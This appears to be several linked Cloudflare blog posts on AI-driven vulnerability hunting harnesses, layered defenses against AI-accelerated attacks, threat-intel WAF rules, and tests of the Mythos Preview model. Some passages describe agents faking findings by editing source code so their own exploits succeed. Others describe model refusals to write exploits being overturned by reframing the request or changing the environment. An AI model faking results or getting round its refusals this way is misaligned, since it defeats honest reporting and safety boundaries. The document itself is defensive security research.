Stages four through eight run as a continuous producer-consumer loop. As the initial hunt progresses, the Gapfill, Feedback and Trace agents generate new tasks; Dedup folds overlapping findings back together and the rest of the loop keeps consuming the queue. This ensures a vulnerability discovered late in the cycle is still validated, reported and checked against other code to make sure it doesn't contain the same bug, all within the same run.

Splitting the pipeline this way guarantees strict context controls. If you fill the context window, the model starts hallucinating. We keep each agent’s job hyper-focused, keeping context usage below 25% of the total window. A naive “read all files” approach will blow past this limit every single time.

One thing that caught us out was that persistence needs to be factored in before parallelism. You do not want to throw away a five-hour run because of an unforeseen error. Every stage writes to one SQLite database keyed by (run_id, repo, stage). Any stage can resume, retry, or get pulled into a later run without redoing work. Findings are streamed and saved as they happen, so a crash costs you the task in flight and nothing else.

During the Recon stage, the agent writes the threat model instead of being handed one. Beyond about ten built-in attack classes (many forms of injection, memory corruption, protocol parsing, timing side channels, and others), the Recon agent can invent repo-specific classes on the spot, each with its own methodology. It writes a custom taxonomy tailored specifically to that codebase, which is used to more tightly scope the Hunter agents.

Reading source code isn’t enough to understand how it behaves under stress, especially for subtle undefined-behavior bugs in C and other lower-level languages. The Hunter agents move past code reading and transition into active execution. They compile fragments, build small versions, and attack them. The biggest jump in quality came from giving Hunters a sandbox (built on unshare) to crash binaries.

Beyond the core pipeline stages, we added two specialized mechanisms that grant the Hunters significant autonomy to adapt their focus and request external resources without derailing an ongoing analysis:

Sibling Forking: This helps ensure that if a Hunter agent trips over an interesting code path that is outside the current scope, it doesn’t wander off track. It uses a tool call to fork a sibling agent with a precise structural seed. Fleet-wide, this accounts for roughly 9% of tasks, though the rate is highly model-dependent — from near-zero to about a fifth, depending on which model is hunting.

The Wishlist: When an agent needs a tool it doesn't have, often a Validator confirming a Proof of Concept (PoC) or a Hunter wanting to build something (like a specific build environment, a VM, or some prod config files), it writes to a central wishlist. It provides enough context for the system to automatically re-run that exact task once a human provides the dependency. Some of these can be partly self-healing: if the container needs to be rebuilt with some changes, this can autonomously happen after the run by having a generic coding harness monitor the logs.

The wishlist has been written to 25,472 times across 128 repos since the wishlist was added, and it's the main way the agents talk back to us. One that landed while we were writing this: "I need a FreeBSD VM to confirm this PoC end-to-end."

After the initial cleanup, a Tracer agent checks how different software components are connected. It looks for a specific path: can a potential attacker send harmful input from the outside to a vulnerable part of the system? If the answer is yes, the Tracer agent automatically spawns fresh hunt tasks inside the consumer repository. To make this work, you need a unified, cross-repo symbol index and an accurate dependency graph. This allows you to uncover deep, systemic flaws that a standard single-repo scan would miss.

Running our harness across an entire fleet of repos revealed two lessons that only surfaced when this was done at scale. 

First, deduplication is its own problem, big enough to need its own agents. When you are scanning a handful of repositories, you can manually eyeball overlapping bugs. Simple string matching or file-path checks won't save you here. Determining whether two complex logic flaws are actually the exact same root bug sounds trivial, but it isn't. It requires so much cognitive reasoning that we had to deploy dedicated Dedup agents just to clean up the noise, along with their own heuristics and ways of reducing the work.

The second is to not wire in static analysis early. We plumbed Semgrep all the way through, and the Hunters invoked it zero times in a month of runs. They would rather read and run the code. The wishlist, by contrast, was the single most-used tool in the system. It's worth paying attention to what the agents actually reach for, rather than what you think they'll want.

The agent will edit the source code so its own exploit works, then triumphantly report the bug it just created. It will write a test that proves something entirely tautological like “exec() executes things, therefore critical vulnerability”. Or it builds an exploit that runs fine but proves nothing, because the threat model behind it is nonsense. If your harness doesn't actively fight this, all you've built is a faster way to produce junk.

A Hunter has to state the threat model before it's allowed to file anything. It has to define exactly who the attacker is, and what boundary the vulnerability crosses or what assumption it breaks. The output schema ordering enforces it. This requirement eliminates the vacuous findings, the "if a user has database write access, they can write to the database" kind.

Every confirmed finding ships with a PoC written as a test that runs against the original, untouched codebase. This prevents the agent from editing the source files to force an exploit to land. If there is no working PoC, we treat the finding as fake. In practice, that's a Hunter compiling a thirty-line parsing loop, running it with memory protection enabled, and demonstrating that the incorrect read stride is originating from a stack address rather than the expected message body. You can re-run it yourself. Furthermore, every confirmed finding must also ship a proposed patch. What actually reaches our review queue is a verified bug, a working test, and a functional git diff, not just a vague text description of a problem.

Before an exploit path survives, deterministic code (written in plain code, not another model) mechanically verifies that the cited files and paths actually exist, and confirms that both the patch and the test parse correctly. This Validator cannot log findings of its own; its sole job is to aggressively disprove the Hunter's theory. If a Hunter is allowed to grade its own homework, it will confidently validate everything it outputs.

We don't claim a false-negative rate for our system. There's no labeled set of every real bug in a codebase, so any claimed recall number is entirely speculative. What we can watch is whether re-runs keep turning up new bugs (they do) and whether coverage is still growing across runs. It’s all a proxy, as you don’t know for sure how many bugs exist in a single codebase, but it’s a good-enough way of measuring effectiveness.

A finding coming out of the harness is just the start of the triage process, with all discoveries landing in a single, shared VVS that currently holds 13,841 findings across 145 repos in total. Triaging that volume is its own massive engineering problem, and it matters just as much as the hunting. That triage engine runs on a different model from the harness, broken down into three distinct jobs.

^{Table 2: Vulnerability Validation System (VVS)}

Comparing every single finding against every other finding using an LLM scales at O(N^2), which falls apart completely at scale. To keep the model off the critical path, deterministic code builds inverted indexes over the structured data (touched files/functions, trust boundary, rare tokens) to generate a short list of real candidates. Only then does an agent look at that short list to see if a single fix would close several of them. Stable cross-run keys ensure re-found bugs reopen existing records rather than spawning new ones.

Judgment is a second, independent pass over what survived. The agent rechecks the latest information, pulling from deployment, environment, and config context to determine if the code path is reachable in prod, and identify the repo owner. This process filters "exploitable now" from "real but latent" and from "real but filed against the wrong component." It's moving a pile of chaotic findings into a risk-driven orchestration workflow.

The Fixer takes the proposed patch and unit tests, rewrites them to match the repo’s style, applies the diff, and runs targeted tests. A clean fail→pass flip is the ideal and the only auto-cleanup case; a failing post-patch test blocks the commit. The Fixer never merges code on its own; a human must review the branch. This gate is the non-negotiable, human-in-the-loop safeguard that enables a clean, unbreakable cryptographic trail for change management compliance. Left to patch freely, a model will happily fix a security bug while quietly breaking an unrelated feature or adding dozens of new bugs.

Across all three triage jobs, each agent is confined to one narrow task wrapped in deterministic bookkeeping code, and nothing writes to production without a human signing off on a dry run. While this pipeline moves the engineering bottleneck from finding bugs to reviewing and landing fixes, the Fixer remains the youngest and slowest part of the system. 

Running hundreds of agents over a fleet of repos is not cheap, but at least the shape of the spend is predictable. Almost all of the compute budget goes directly into the hunt stage. This makes Gapfill our cost-to-coverage lever, as each additional pass costs roughly half as much as the initial hunt.

Because the cost per repository varies wildly, we budget per repo rather than per run. We enforce a strict task cap per repository and spin up a worker pool of anywhere from 50 to 200 workers. That way you can spend money on the repos that are actually finding things, and not waste it on the ones that aren't.

It's also why, for us, the big scans are a periodic backlog sweep and not a per-PR check. A full scan of a complex repo can take hours; the worst run took just over 14 hours. Cheaper, smaller harnesses are the right tool for that job.

We measure our system’s effectiveness by tracking how efficiently our automated pipeline filters deliberate engineering noise into high-quality, actionable findings. Because we intentionally tune our Hunters to over-report subtle primitives that could be chained into larger attacks, our true indicator of success is how sharply we can refine that initial mountain of raw data, before it ever reaches a human.

To gauge this, we track exactly how many raw findings survive each validation stage over time. Thanks to better context injection from our Recon phase, our initial validation rejection rate dropped from 40% down to 11%, while the share of high-integrity findings climbed from 35% to 58% (representing ~12,057 lifetime findings).

Here's the lifetime breakdown from raw candidates to actionable findings, at the point in time this blog post was written.

The core metric of the harness isn’t a speculative recall score — it’s keeping the number of unconfirmed findings in front of real humans as close to zero as possible. The architecture needs to be a relentless filtering funnel.

• Out of 20,799 raw candidates generated by VDH, only about 12,057 survived validation.

• When these were pushed into the VVS, joining findings from another harness, the central pool was brought to 13,841. 

• The Dedup agent folded away 5,442 findings as duplicates. 

• 1,154 were routed to the queue as ‘wrong-repo’ or ‘low-risk’ and were recycled back into the system where appropriate. 

• Ultimately this left 7,245 actionable findings for engineering teams to act on.

Traditional compliance rules dictate arbitrary remediation windows based entirely on a static CVSS score (e.g., "Fix all Highs in 30 days"). Our contextual judgment layer turns this compliance checkbox into actual risk management. 

The architecture is capable of tracking findings back to their origin, meaning that fixing a single root cause resolves an entire cluster of findings rather than just patching individual issues. VDH system performance is also measured by dividing repos into (area x attack-class) cells and running the Gapfill agent iteratively until it stops producing findings. Whenever we update an underlying prompt, we test it against a held-out repository to see if that total coverage cell number actually moves.

The harness wires automated health signals to catch system failures early in the pipeline. If a hunt finished suspiciously fast and fails to spawn sub-hunts or gap tasks, it usually indicates a crashed dependency rather than a clean codebase. To remedy this, the system flags any Hunter agent that finishes with zero findings as “shallow” and immediately requeues it for a new run. 

Finally, our system’s robustness is reinforced by the independent triage pass described earlier. By re-judging all submissions with a different model and separate logical weights, we ensure an unbiased, adversarial verification that is decoupled from the specific model used for discovery, providing a trust layer that persists regardless of which model is in use.

None of this is finished. We change our system constantly, and it is nowhere near a perfect science. But raw candidate findings are cheap now, and the only work worth doing is turning them into sound, verifiable code fixes.

Building your own harness means accepting that AI models are volatile, but your orchestration layer doesn't have to be. By decoupling your security logic from any single provider, forcing adversarial verification, and automating your triage pipeline, you can turn a mountain of LLM noise into a reliable, fleet-wide defense engine.

Every codebase is a little different, so to show you how this actually works in the real world, we mapped out a realistic benchmark based on a standard repo run. Keep in mind that this represents a single pass on one repo; over time, as the continuous fleet-wide loop deduplicates, filters, and recycles findings, it reduces the volume of lifetime candidates by roughly 65%.

Engineering hours saved via automated patching: Rather than focusing on static baselines, we measure the health of our pipeline by its technical throughput, processing velocity, and its ability to eliminate the manual triage bottleneck:

• Initial Validation Cut: For a standard repository (~30k lines of code), this yields 100 initial findings, with a full run taking 3-4 hours, maintaining a hyperfocused context window throughout. 

• Compression: The Deduplication and Contextual Judgment Layers process these candidates in parallel. Within 3 hours, the system compresses and refines the batch of findings from ~100 raw candidates to 80 distinct, high-fidelity bugs.

• Remediation: The automated Fixer processes these 80 distinct bugs at an average rate of 5 minutes per bug. In total, the system can discover, validate, deduplicate, and open functional pull requests in approximately 14 hours.

Shrinking mean-time-to-resolve for critical flaws: Of course, you can’t dump 80 patches into production all at once without breaking things. To keep deployments safe, our system uses a tiered rollout:

• Critical Exposure Containment: The system isolates the critical, high, and exploitable bugs (avg. 10 out of 80). We fast-track these for a human review and introduce them into release cycles, getting them fully patched in production in 5 days.

• Incremental Hardening: The remaining latent risks, minor config anomalies, and lower-urgency bugs are incrementally rolled into prod over a 15-20 day window to guarantee platform stability.

These findings are the result of an isolated, ring-fenced research experiment designed to stress-test our code. They do not represent active, unpatched vulnerabilities in our live production environment.

Because the harness runs constantly in our test environments, these specific numbers are completely out of date by the time you're reading this. Every single bug surfaced by the pipeline came attached to a working test case to demonstrate the bug and a draft patch. Our security teams are systematically processing the reports and applying the necessary fixes, meaning the Cloudflare products you use every day are already actively hardened against these vectors.

Along with this blog post, we’re releasing the initial skill we used to develop the harness, it’s been slightly cleaned up before release so it’s easier to understand and integrate, but the skill itself remains substantially the same. Hopefully the harness itself will follow shortly. This could be a starting point for your own vulnerability harness, your own skill, or whatever suits your needs best: github.com/cloudflare/security-audit-skill

If your team is working on the same problems and would like to compare notes, reach out to us at security-ai-research@cloudflare.com.

A few weeks ago, we wrote about Project Glasswing and what we observed when we pointed cyber frontier models at our own code. Since then, we’ve seen that the part of the post that has resonated most deeply is the argument that the architecture around the vulnerability matters more than the speed of the patch.

In the conversations we've had with CISOs and security teams since, the questions have been consistent: what does our architecture actually look like, what should we monitor for, where do we start, and how can Cloudflare help?

Before getting into the details: the architecture below is built almost entirely from Cloudflare's own products, because Cloudflare security is customer zero for the security products we build. The Cloudflare stack already exists in front of our code, employees, and customer-facing applications. If you're a Cloudflare customer, every layer below is available to you today. If you're not, the principles still apply to whatever stack you've built.

In the previous post, we showed how a cyber frontier model like Mythos changes the attacker’s timeline. It can find vulnerabilities, reason through exploit chains, and generate working proofs faster than earlier models. While models like Mythos do not change the shape of an intrusion — reconnaissance, initial access, lateral movement, persistence, and exfiltration still have to happen — the difference is in the speed and scale. When pointed at the open web, a model can find and hit low-hanging fruit quickly. Against a hardened target, it still has to probe, and adapt, and it often produces more noise than a careful human operator would.

Discovery, exploit chain construction, and proof-of-concept generation used to be the gating constraints on producing a working attack. A frontier model handles all three in a fraction of the time. Work that used to be slow and methodical is now fast and indiscriminate.

While AI is accelerating how fast developer teams at Cloudflare and many other companies can ship code, the security team’s work has not compressed the same way. An attacker only needs one opening to get in, while security teams need to find and close them all. Writing a fix, regressing it, and shipping it without breaking the code around it has constraints that AI doesn't remove. We learned this the hard way when we let an AI coding assistant write its own patches against our own bugs, as we described at the end of the previous post. Some of those patches fixed the original bug while quietly breaking something else the code depended on.

As these models become more competent and capable, our main focus from a threat standpoint comes down to three things. Each one shapes the architecture we walk through in the rest of this post.

• The first is the speed of discovery. Frontier models make it easier to search large bodies of public code, including the open-source libraries that many companies depend on. That does not mean every bug in a library is exploitable, or that library bugs are where most vulnerabilities live. Exploitability still depends on how the code is used, whether attacker-controlled input can reach the vulnerable path, and the protections that sit around it. But widely used open-source libraries and frameworks give attackers a shared surface to study at scale. When a real, reachable vulnerability exists there, a model can help find it, reason about possible exploit paths, and generate proof-of-concept variants faster than maintainers and defenders can review every downstream use. The gap between when an attacker discovers a vulnerability and when defenders learn it exists is what worries us most. If you are not running these models against your own code, it is safe to assume someone else is.

• The second is exploit volume and adaptation. A model can produce thousands of variations of a single exploit and run reconnaissance at the same scale. All that volume gives an attacker an advantage, but it won’t necessarily get them past signature-based detections. Many of those iterations will have the same underlying signature, so a rule that catches the first one will catch the rest. Adaptation is how they will get past signature-based detections. Ask a model to show you a SQL injection, and it will return a textbook example. Tell it there is a WAF in the way, and it will start probing, learning what gets blocked, and rewriting the payload until it can slip past the rule blocking it.

• The third is the impact when a vulnerability is inevitably exploited. No architecture catches everything. After the vulnerability is exploited, the question we ask ourselves is: where can the attacker get to with one identity, one path, or one credential, before something else stops them? If the answer is "anywhere they want," the vulnerability was never the problem. The architecture around the vulnerability was.

We see roughly a fifth of the web and that tells us, in real time, which payloads are mutating, which patterns are picking up, and where attacker tooling is moving next. Two teams turn that visibility into defense.

First is Cloudforce One, our threat intelligence, research, and operations team, which sits within the Cloudflare security organization. They turn what we see across the network into insights the rest of the stack can act on: tracked adversaries, emerging campaigns, and indicators of compromise (IOCs). The hard part of this work was never knowing what is malicious — it was the delay in mitigation. Knowledge of a new threat normally has to travel from a threat report, into a feed, and then into a company’s defense before it can be used to block anything. Attackers have learned to move faster than that. Our network closes that gap: Cloudflare customers can now use Cloudforce One threat intelligence directly within the WAF to block high-risk traffic.

Second is the team that owns the WAF engine that does the actual detecting: the managed rulesets that run in front of our own properties and are available to every Cloudflare customer, the machine learning behind WAF Attack Score, and the relationships that sometimes let us ship a rule before a CVE is publicly disclosed. The team is globally distributed and moves fast, releasing rules within hours of a proof-of-concept of an attack becoming known. Once a detection is deployed, it reaches our entire network, along with every Cloudflare customer, in under 30 seconds. React2Shell is a recent example: a managed WAF rule was protecting our own properties, and everyone else's on Cloudflare, hours before the official advisory was published.

The scoring layer, the defenses we put in front of the application, and the containment around the vulnerability all build on what these two teams see. 

Signature-based defenses were built for a world where novel exploits were scarce and variations took weeks. Cloudflare's traditional SLA from a fresh proof-of-concept to a live, deployed rule has been 12 hours. With the advent of frontier models, this is not good enough anymore. Detections need to be in place before a CVE is discovered. This is why we layer ML-based detection in front of the traditional signature-based WAF.

The model is trained on a large body of past attack traffic, and it catches new variants of vulnerabilities before they're publicly known. A novel SQL injection or remote code execution chain is almost always a rearrangement of attack shapes the model has seen before, even when the specific exploit is brand new. We run the model on every request and assign a WAF Attack Score between 1 and 99, based on how closely the request resembles those underlying shapes, not against a list of known-bad signatures. The lower the score, the more aggressively we treat the request. That score determines whether we let the request through. We apply a similar scoring methodology to AI prompts with AI Security for Apps: rather than check each prompt against a list of known malicious prompts, we score how closely a prompt resembles an actual attack. 

Those capabilities only matter once they're stacked in front of an application, and the first layer in our defense-in-depth approach is the WAF. Anything that matches a known-bad pattern gets dropped before it reaches the application, which clears the bulk of the obvious traffic and lets the more specialized layers below focus on what's left. On the API surface, we run a positive security model through API Shield. Instead of trying to anticipate every bad request, we describe what a valid request to each API looks like, either from the API's own definition or learned from our real traffic, and anything that doesn't fit doesn't get through. This neutralizes the advantage of frontier AI models: because we only permit validated traffic, generating thousands of new attack variations fails to bypass the system.

^{Cloudflare’s layered architecture}

Bot Management catches probing traffic on our network before frontier models can build a map. It scores every request on how likely it is to be automated, using the same signals across our whole network: how the client behaves, whether it looks like a real browser, and whether the connection matches a known-bad pattern. An attack only lands if it can find a soft spot. 

Zero Trust Network Access is used for every internal application. The implicit trust of being inside the network is replaced with explicit per-request identity and policy for every employee accessing every tool. The value of this was clear when one of our engineers shipped a misconfigured tool. A flat network would have exposed everything on the same segment, but in our deployment, the exposure stopped at the tool itself. We built Require Access Protection afterwards so newly deployed or misconfigured applications can't be reachable before an access policy is in place.

IdP Federation makes that secure by default posture easier to keep consistent across every Cloudflare account — which becomes even more necessary when more people are shipping internal tools quickly. Instead of asking each team to wire up SSO separately, we configure our identity provider (IdP) once and share it across the organization. New accounts get SSO automatically, recipient-side IdP connections are read-only, and Access policies in each account still evaluate the resulting identity as part of the normal request flow. 

MCP Server Portal gives teams a controlled way to connect AI agents to enterprise systems. Agents access MCP servers that are centrally managed through a single portal, with every action logged. That way when an agent acts on someone's behalf, we know what it did, what it touched, and whether it should have been allowed to. The full picture of how we built it is in our post on enterprise MCP.

AI Gateway runs in front of our internal AI tools the same way AI Security for Apps runs in front of customer-facing AI features, with the same scoring and the same visibility. Inside the company, the visibility piece is more useful than the blocking, because we needed to see what engineers were actually building before we could write meaningful policy on it.

Frontier models can help attackers find vulnerabilities, adapt payloads, and move faster, but they still have to pass through the layered defense you deploy in front of your application. That is where teams should start:

• Put inspection in front of public applications.

• Define what valid API traffic looks like.

• Use bot detection to limit automated probing.

• Require identity and access policy before any internal tool is reachable.

For AI and agentic systems:

• Route model traffic through a gateway.

• Keep agents connected through approved MCP servers.

• Log what they do. 

The goal is to make sure that when one layer misses, the next layer limits what the attacker can see, reach, or change.

That is the point of the architecture around the vulnerability: to limit the scope of an attack. The vulnerability may be what starts the attack, but the architecture determines how far it can go.

Plenty of security stacks look impenetrable on a whiteboard but fall over in practice. That is why we test ours continuously, both at the perimeter and inside our environment, with our red team involved across both.

At the perimeter, frontier models are one tool we use to test our application security stack as an adaptive attacker. These models sit alongside the rest of our red team and detection workflows including: manual testing, threat intelligence, observed traffic patterns, proof-of-concept analysis, and signals from our own network. Together, those inputs help us decide where to aim testing: newly launched products, recently changed surfaces, and the paths an attacker is most likely to probe first. The most important part is the process that follows. When something gets through, we identify the gap, use the right mix of tools to understand it, write the rule or mitigation, ship the update, and test again to make sure the gap is closed.

Inside the environment, our red team starts from the assumption that the perimeter has already failed. They look at what has changed, where sensitive systems carry risk, and whether one compromised identity, path, or credential can reach farther than it should. When we change the architecture based on what they find, they run the scenario again against the new version to confirm the gap is actually closed.

We confirm that this architecture is working by continuously testing its behavior during failures, rather than relying on the perfection of individual layers.

If your team is working on the same problems and would like to compare notes, reach out to us at security-ai-research@cloudflare.com.

Security teams have faced a recurring frustration: knowing that certain IP addresses were associated with specific threat actors (like Tycoon 2FA or RaccoonO365) or had been seen targeting their specific industry in other regions, but they couldn't easily automate the blocking of these high-risk IPs within their own WAF unless they manually configured the rules. 

We are excited to announce a new integration that brings Cloudflare’s vast threat intelligence directly into your WAF engine: you can now write proactive rules using live intelligence data. This means you can add more intelligence context to protect your application against known bad actors — before they even attempt to touch your infrastructure.

By populating specialized fields during the early stages of a request, the WAF can now screen traffic based on:

• Who is attacking by matching specific threat actor names

• Who they are targeting via the industry or country filters to see who the IP has targeted in the past

• What type of attack using enriched threat context, filtering by attack type (DDoS, WAF, cybercrime, etc.) and the timeframe it was last seen

This new capability is built on the same always-on detection framework we recently introduced for Attack Signature Detection, a system that identifies common attack patterns in real time without requiring pre-configured rules. By separating detection from mitigation, we ensure that threat intelligence is constantly running in the background, enriching your HTTP request analytics with insightful threat metadata before you even decide to take an action.

The primary advantage of an "always-on" model is the elimination of the traditional "log vs. block" trade-off: visibility in log mode, or protection in block mode. That’s because when a rule blocks a request, you lose visibility into how other signatures would have assessed it — insight that could have helped you strengthen your defenses.

If you have a Cloudforce One subscription, these insights appear in your analytics automatically. You can see which threat actors are hitting your site and which industries those IPs usually target, allowing you to verify traffic patterns before "flipping the switch" to block.

These detections execute with negligible latency, ensuring your performance remains lightning-fast while providing the high-confidence data needed to build robust security policies. While this initial release focuses on IP-based matching, we are already looking toward extending these capabilities to JA3 fingerprints and domain-based matching. This will allow you to block malicious traffic even when attackers rotate IPs, by identifying the unique software signatures or malicious destination links they use in their payloads.

To make this possible, we've exposed the following specific signals directly to the WAF engine:

Because a single IP address could be associated with multiple threat actors or targeted industries simultaneously, these fields are represented as arrays. We use the any() function and [*] wildcard to check whether any value within that threat profile matches your criteria:

• Block known DDoS participants targeting your region: any(cf.intel.ip.target_countries[*] == "FR") and any(cf.intel.ip.datasets[*] == "ddos")

• Protect against specific threat actors targeting the Finance sector: any(cf.intel.ip.target_industries[*] == "Banking & Financial Services") and any(cf.intel.ip.attacker_names[*] == "BLACKBASTA")

• Broad protection against specific high-risk origin countries: any(cf.intel.ip.attacker_countries[*] == "IR")

Whether you prefer a UI-driven approach or Infrastructure as Code, these fields are integrated into your existing workflows.

For teams that prefer Infrastructure as Code, the new cf.intel fields are fully integrated into the WAF rule builder for WAF custom rules and rate limiting. You can write complex expressions using the same syntax you use today. Because these are standard WAF fields, they are fully supported via the Cloudflare API and Terraform, allowing you to automate threat blocking across your selected domains or even on your whole account.

^{New fields added to the WAF rule builder to allow users to choose the relevant configuration based on the Threat Events indicators.} 

Deployment is only half the battle. All matches triggered by these threat intelligence fields are logged in Security Analytics. You can drill down into your traffic to see exactly which rule was triggered and which specific indicator matched. These enriched logs allow for faster auditing and postmortem analysis when a rule triggers.

^{Threat event matches surface in Security Analytics, with full context and a one-click option to create a custom security rule.}

If you are already using the Threat Intelligence Dashboard to investigate trends, you don't have to copy and paste IP lists. You can create Saved Views based on your specific filters, such as "IPs seen attacking the Financial sector in the last seven days." With a single click, you can export these filters directly into a WAF rule.

^{Saved Views now allow users to easily create WAF rules to match the saved view configuration.} 

Visibility and ease of use are only possible if the underlying engine is fast. How do we handle millions of threat indicators without slowing down your traffic?

These threat intelligence datasets are compressed into a high-performance format and distributed to every single Cloudflare data center globally. When a request hits our network, the Cloudflare WAF performs an O(1) constant-time lookup against these local datasets. This ensures that whether we are checking against ten indicators or ten million, the latency overhead remains effectively zero (measured in microseconds).

Because an IP can be associated with multiple threat vectors, our engine doesn't stop at the first match. It evaluates the set of all signals associated with that IP simultaneously. This ensures that a rule looking for "Attacker = RU" AND "Target Industry = Banking" will trigger correctly by evaluating the intersection of these attributes in a single pass, providing maximum coverage against multi-vector actors without increasing computational complexity.

This feature is available today for customers with any active Cloudforce One subscription:

• Cloudforce One Essentials allows customers to access the default datasets in Threat Events, search for indicators, and conduct threat-hunting investigations

• Cloudforce One Advantage allows customers to access our Threat Intelligence Analyst custom insights via requests for information

• Cloudforce One Elite — our most complete package — includes brand protection, a high number of requests for information, and access to all Threat Events datasets

Ready to turn global insights into local defense? Head over to Threat Events or the WAF section of your Cloudflare Dashboard to start building your first Threat Intel rule, or contact your account team to learn more about subscribing to Cloudforce One.

For the last few months, we've been testing a range of security-focused LLMs on our own infrastructure. These LLMs help identify potential vulnerabilities in our own systems, so we can fix them – and they also show us what attackers are going to be able to do with the latest models.

None of these LLMs has captured more attention than Mythos Preview, from Anthropic. A few weeks ago, we were invited to use Mythos Preview as part of Project Glasswing. We soon pointed it at more than fifty of our own repositories – to see what it would find, and to see how it works.

This post shares what we observed, what the models did well and what they didn't, and how the architecture and process around them needs to change, so they can be used at scale.

Mythos Preview is a real step forward, and it's worth saying that plainly before getting into anything else. We've been running models against our code for a while now, and the jump from what was possible with previous general-purpose frontier models to what Mythos Preview does today is not just a refinement of what came before.

It's a different kind of tool doing a different kind of work, and that makes a clean apples-to-apples comparison to earlier models difficult. So rather than trying to benchmark Mythos Preview against general-purpose frontier models, it's more useful to describe what it can actually do, and two features that stood out across the work we did with Mythos Preview:

• Exploit chain construction - A real attack rarely uses one bug. It chains several small attack primitives together into a working exploit. For instance, it might turn a use-after-free bug into an arbitrary read and write primitive, hijack the control flow, and use return-oriented programming (ROP) chains to take full control over a system. Mythos Preview can take several of these primitives and reason about how to combine them into a working proof. The reasoning it shows along the way looks like the work of a senior researcher rather than the output of an automated scanner.

• Proof generation - Finding a bug and proving it's exploitable are two different things, and Mythos Preview can do both. It writes code that would trigger the suspected bug, compiles that code in a scratch environment, and runs it. If the program does what the model expected, that's the proof. If it doesn't, the model reads the failure, adjusts its hypothesis, and tries again. The loop matters as much as the bugs it finds, because a suspected flaw without a working proof is speculation, and Mythos Preview closes that gap on its own.

Some of what we describe above is not entirely unique to Mythos Preview. When we ran other frontier models through the same harness, they found a fair number of the same underlying bugs, and in some cases they got further than we expected on the reasoning side too. Where they fell short was at the point of stitching the pieces together. A model would identify an interesting bug, write a thoughtful description of why it mattered, and then stop, leaving the actual chain unfinished and the question of exploitability open. What changed with Mythos Preview is that a model can now take those low-severity bugs (which would traditionally sit invisible in a backlog) and chain them into a single, more severe exploit. 

The Mythos Preview model provided by Anthropic, as part of Project Glasswing, did not have the additional safeguards that are present in generally available models (like Opus 4.7 or GPT-5.5).

Despite this, the model organically pushes back on certain requests - much like the cyber capabilities that made it useful for vulnerability hunting, the model has its own emergent guardrails that sometimes cause it to push back on legitimate security research requests. But as we found, these organic refusals aren’t consistent - the same task, framed differently or presented in a different context, could produce completely different outcomes as illustrated in the examples below.

^{Example of Mythos Preview pushing back on building a working proof of concept} 

For example, the model initially refused to do vulnerability research on a project, then agreed to perform the same research on the same code after an unrelated change to the project’s environment. Nothing about the code being analyzed had changed. In another case, the model found and confirmed several serious memory bugs in a codebase, and then refused to write a demonstration exploit. The same request, framed differently, got a different answer, and even the same request can produce different outcomes across runs due to the probabilistic nature of the model. Semantically equivalent tasks can produce opposite outcomes depending on how and when they’re presented to the model.

This matters because while the model’s organic refusals/guardrails are real, they aren’t consistent enough to serve as a complete safety boundary on their own. That’s precisely why any capable cyber frontier model made generally available in the future must include additional safeguards on top of this baseline behavior - making it appropriate for broader use outside of a controlled research context like Project Glasswing.

One of the hardest parts of triaging security vulnerabilities is deciding which bugs are real, which are exploitable, and which need fixing now. This was a hard problem even in the pre-AI world. AI vulnerability scanners and AI-generated code have made it worse, and at Cloudflare we've built multiple post-validation stages to deal with it.

Two factors dominate the noise rate:

• Programming language - C and C++ give you direct memory control and, with it, bug classes - buffer overflows, out-of-bounds reads and writes - that memory-safe languages like Rust eliminate at compile time. We saw consistently more false positives from projects written in memory-unsafe languages.

• Model bias - A good human researcher tells you what they found and how confident they are. Models don't. Ask a model to find bugs, and it will find them, whether the code has any or not. Findings come back hedged with "possibly," "potentially," "could in theory," and the hedged findings vastly outnumber the solid ones. That's a reasonable bias for an exploratory tool. It's a ruinous one for a triage queue, where every speculative finding spends human attention and tokens to dismiss, and that cost compounds across thousands of findings.

Mythos Preview represents a clear improvement here, particularly in its ability to chain primitives - combining multiple vulnerabilities into a working proof of concept rather than reporting them in isolation. A finding that arrives with a PoC is a finding you can act on, and it means far less time spent asking "is this even real?"

Our harnesses are deliberately tuned to over-report, so we see more (and miss less), which comes with a lot more noise. But at triage time, Mythos Preview's output has noticeably higher quality: fewer hedged findings, clearer reproduction steps, and less work to reach a fix-or-dismiss decision.

When we first started AI-assisted vulnerability research last year, our instinct was the obvious one: point a generic coding agent at an arbitrary repository and ask it to discover vulnerabilities. This approach works, in the sense that the model will produce findings, but it doesn't work in producing meaningful coverage of a real codebase and identifying findings of value. There are two main reasons for this:

• Context - Coding agents are tuned for one focused stream of work: building a feature, fixing a bug, writing a refactor. They ingest a lot of source code, hold a single hypothesis at a time, and iterate against it. That's exactly the wrong shape for vulnerability research, which is narrow and parallel by nature. A human researcher picks one specific thing to look at and investigates it thoroughly. That one thing might be a single complex feature, transitions across security boundaries, or a specific vulnerability class like command injections, where attacker input ends up being run as a shell command. Then they do it again, for a different feature, security boundary, or vulnerability class, several thousand times across the codebase. A single agent session (even with subagents) against a hundred-thousand-line repository can cover maybe a tenth of a percent of the surface in a useful way before the model's context window fills up and compaction kicks in - potentially discarding earlier findings that would have mattered.

• Throughput - A single-stream agent does one thing at a time, but real codebases need many hypotheses against many components at once, with the ability to fan out further when something interesting turns up. You can drive a single agent harder, but at some point you stop being limited by the model and start being limited by the shape of the interaction itself. Using the model directly in a coding agent turns out to be fine for manual investigation when a researcher already has a lead and wants a second pair of eyes. However, it's the wrong tool for achieving high coverage. Once we accepted that, we stopped trying to make Mythos Preview do the wrong job and started building the harness around it instead.

Four lessons came out of running the work at scale, and each one pointed to the need for a harness that manages the overall execution:

• Narrow scope produces better findings - Telling the model "Find vulnerabilities in this repository" makes it wander. Telling it "Look for command injection in this specific function, with this trust boundary above it, here's the architecture document and here's prior coverage of this area" makes it do something much closer to what a researcher would actually do.

• Adversarial review reduces noise - Adding a second agent between the initial finding and the queue - one with a different prompt, a different model, and no ability to generate its own findings - catches a lot of the noise that the first agent would miss if it just checked its own work. It turns out that putting two agents in deliberate disagreement is way more effective than just telling one agent to be careful.

• Splitting the chain across agents produces better reasoning - Asking "Is this code buggy?" and "Can an attacker actually reach this bug from outside the system?" are two different questions, and the model is better at each one when you ask them separately, because each question is narrower than the combined version.

• Parallel narrow tasks beat one exhaustive agent - Coverage improves when many agents work on tightly scoped questions and we deduplicate the results afterward, rather than asking one agent to be exhaustive.

